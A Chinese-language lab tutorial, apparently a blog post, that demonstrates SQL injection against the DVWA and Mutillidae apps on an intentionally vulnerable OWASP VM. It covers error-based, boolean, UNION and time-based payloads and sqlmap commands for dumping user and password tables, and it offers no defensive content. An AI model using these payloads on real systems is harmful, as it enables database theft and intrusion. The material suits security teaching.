在owasp年度top 10 安全问题中,注入高居榜首。SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序, 而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地 过滤用户输入的数据,致使非法数据侵入系统。

  1. 对于Web应用程序而言,用户核心数据存储在数据库中,例如MySQL、SQL Server、Oracle;
  2. 通过SQL注入攻击,可以获取、修改、删除数据库信息,并且通过提权来控制Web服务器等其他操作;
  3. SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程;
  4. 因为SQL注入漏洞造成的严重危害性,所以常年稳居OWASP TOP10的榜首!

1.实验说明

目标靶机:OWASP_Broken_Web_Apps_VM_1.2
下载地址
测试渗透机:Kali-Linux-2018.2-vm-amd64
下载地址

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。
1.SQL注入的危害
1、拖库导致用户数据泄漏; 
2、危害web等应用的安全; 
3、失去操作系统的控制权; 
4、用户信息被非法买卖; 
5、危害企业及国家的安全!
2.注入流程
1. 判断是否有SQL注入漏洞; 
2. 判断操作系统、数据库和web应用的类型; 
3. 获取数据库信息,包括管理员信息及拖库;
4.  加密信息破解,sqlmap可自动破解;
5. 提升权限,获得sql-shell、os-shell、登录应用后台;

2.手动注入实战

1.基于错误的注入

错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点; 通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。
SQL注入攻击及防御详解 Linux 第1张
SQL注入攻击及防御详解 Linux 第2张

SQL注入语句解析: 
mysql> select first_name,last_name from dvwa.users; 
mysql> select first_name,last_name from dvwa.users where user_id='1';
#你输入1 相当于在最后的两个单引号中间插入一个1来执行mysql的查询语句

怎么样判断我们是否可以注入呢?
SQL注入攻击及防御详解 Linux 第3张
会发生页面报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

SQL注入语句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='''

这就代表此网站我们可以注入,有注入点。

2.基于布尔的注入

这里面用到的是or,布尔逻辑注入的思路是闭合SQL语句,构造or逻辑语句、注释多余的代码
SQL注入攻击及防御详解 Linux 第4张

注入语句: ' or 1=1 -- ' 
原始语句: 
mysql> select first_name,last_name from dvwa.users where user_id='' 
SQL注入语句解析: ' or 1=1 -- ' 
mysql> select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- ' ' 
说明:
第一个' 用于闭合前面的条件 
or 1=1 为真的条件 
-- 将注释后面的所有语句
仔细看where user_id=' ' or 1=1 -- ' '    这个条件语句
user_id=' '  这个语句肯定是假的,因为我们的ID是阿拉伯数字,而这里面是空,所以为假
但是1=1 这个语句肯定为真     -- ' '   是注释的意思,也就说后面的不用管
or 表示有一个条件为真就是真
那总得来说这个where语句一定为真
整个语句的意思是从dvwa库的users表里面查询first_name,last_name两个字段的所有内容
3.基于UNION注入
UNION语句用于联合前面的SELECT查询语句,合并查询更多信息; 
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。 
//猜测数据列数 
' union select 1 -- ' 
' union select 1,2 -- ' 
' union select 1,2,3 -- ' 
' union select 1,2,3,4 -- ' 
SQL注入语句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '' 
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '' 

//union是我们注入常用的方式,里面的1,2,3 代表的是字段名,union语句查询的时候,前后的
字段数量必须相同,所以我们可以用数字代表字段,来猜测union之前的语句中有几个字段。这里
显然只有两个字段。

SQL注入攻击及防御详解 Linux 第5张
SQL注入攻击及防御详解 Linux 第6张
SQL注入攻击及防御详解 Linux 第7张

你查询的不一定非要是字段,也可以是版本,表之类的
//获得当前数据库及用户信息   
'union select version(), database() -- ' 
'union select user(), database() -- '
//查询所有库名 
'union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables -- '   
#这里面的1 只是一个列的代替,没有什么含义,但是如果你缺了这个1 前后列数量不一样会报错的
//查看所库中所有表名 
'union select table_name, 1 from INFORMATION_SCHEMA.tables -- '
//同时查询表名及对应库名 
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
//查询数据列 
'union select NULL, user from users -- ' 'union select NULL, password from users -- '
'union select user, password from users -- ' 'union select NULL, GRANTEE from USER_PRIVILEGES -- '
因为union前面只有两个字段,那我们想要查询多个字段怎么办?
用mysql自带的函数concat(),如
'union select password, concat(first_name,' ',last_name,' ',user) from users -- '

SQL注入攻击及防御详解 Linux 第8张

4.基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

1' and sleep(5) -- '
SQL注入语句解析: 
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ''

SQL注入攻击及防御详解 Linux 第9张

3.sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动 化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳 定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系 统命令。 SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

1.GET方法注入

打开kali,用户名root 密码toor
SQL注入攻击及防御详解 Linux 第10张
查看帮助我们发现我们需要获取到网页的url
SQL注入攻击及防御详解 Linux 第11张
SQL注入攻击及防御详解 Linux 第12张
SQL注入攻击及防御详解 Linux 第13张
然后我们把该网页的连接复制下来在kali里面进行测试

root@kali:~# sqlmap -u "http://192.168.13.144/mutillidae/index.php?page=user-info.php&username=yjssjm&password=123&user-info-php-submit-button=View+Account+Details"

SQL注入攻击及防御详解 Linux 第14张
SQL注入攻击及防御详解 Linux 第15张

sqlmap参数解析: 
--users      #所有用户
--current-user #当前用户
--dbs   #所有库
--current-db   #当前库
-D "database_name" --tables  #指定库名
-D "database_name" -T "table_name" --columns  #指定库名和表名
--dump-all   #所有的内容
--dump-all --exclude-sysdbs 
-D "database_name" -T "table_name" --dump   
-D "database_name" -T "table_name" -C "username, password" --dump 
#-C 指定字段
--batch //自动化完成
示例步骤: 
1. 获得当前数据库 
root@kali:~# sqlmap -u "你自己的url" --batch --current-db 
2. 获得数据库表 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp --tables 
3. 获得表的字段 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts --columns 
4. 获得表中的数据 
root@kali:~# sqlmap -u "你自己的url" --batch -D nowasp -T accounts -C "username, password" --dump
2.POST方法注入

需要带cookie才能访问的注入页面,--cookie=""
SQL注入攻击及防御详解 Linux 第16张
SQL注入攻击及防御详解 Linux 第17张

root@kali:~# sqlmap -u "http://192.168.13.144/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=ehqbg9j6di70nk4ku6fm187co1; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada" --batch

SQL注入攻击及防御详解 Linux 第18张
参数跟get获取的参数一样,就是post需要用url+cookie

你们的评论和点赞是我写文章的最大动力,蟹蟹。

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄